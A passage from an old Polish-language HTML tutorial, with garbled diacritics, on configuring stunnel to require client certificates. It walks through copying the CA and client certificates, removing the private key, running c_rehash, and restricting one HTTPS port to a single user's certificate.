certificate for .....</B>" oraz "<B>SSL_accept: error:140890B1:SSL routines:</B> <B>SSL3_GET_CLIENT_CERTIFICATE:no certificate returned</B>". A teraz przyk�ad praktyczny: chcemy aby do https b�d�cym na <B>porcie 444</B> mia�y dost�p wszystkie osoby maj�ce certyfikaty natomiast <BR>do do https na <B>porcie 445</B> dost�p mia� tylko Jan Kowalski. Pierwsz� czynno�ci� jak� nale�y wykona� jest skopiowanie <BR>certyfikatu CA do katalogu <B>/usr/local/ssl/certs</B> (default cert area), nast�pnie w tym katalogu nale�y utworzy� <BR>podkatalog o nazwie <B>mytrusted</B>, poczym skopiowa� do niego certyfikat klienta czyli jan.pem. <A HREF="#usuwanie"><B>Uwaga</B>: z pliku jan.pem</A> <BR><A HREF="#usuwanie"><B>MUSISZ</B> usun�� klucz prywatny</A> !!! Czyli to co si� znajduje mi�dzy <P>-----BEGIN RSA PRIVATE KEY----- <BR>....... <BR>-----END RSA PRIVATE KEY----- <P>��cznie z powy�szymi liniami. Nast�pnie w katalogach <B>/usr/local/ssl/certs</B> i <B>/usr/local/ssl/certs/mytrusted</B> nale�y <BR>wykona� polecenie <BR><B>/usr/local/ssl/bin/c_rehash ./</B> <BR>Teraz kolej na uruchomienie stunnela: <BR><B>stunnel -d 444 -r 80 -v 2</B> <BR>oraz <BR><B>stunnel -d 445 -r 80 -v 3</B> <BR>Netscapem nale�y po��czy� sie z https://localhost:444/ a po pytaniu o certyfikat przedstawi� certyfikat nale��cy <BR>do pigwy. Dost�p do serwera b�dzie zapewniony. Czynno�c t� nale�y powt�rzy� przedstawiaj�c si� za drugim razem <BR>certyfikatem Jana Kowalskiego. Po��czenie tak�e b�dzie zrealizowane. W przypadku https://localhost:445/ wej�cie <BR>na serwer b�dzie zapewnione tylko po wylegitymowaniu si� certyfikatem Jana Kowalskiego. Po kazdej zmianie w <BR>katalogu /usr/local/ssl/certs/mytrusted nale�y wykona� komend� c_rehash ./ i zrestartowa� stunnela. <BR> </BODY> </HTML>
Free Space : 62723309568 Byte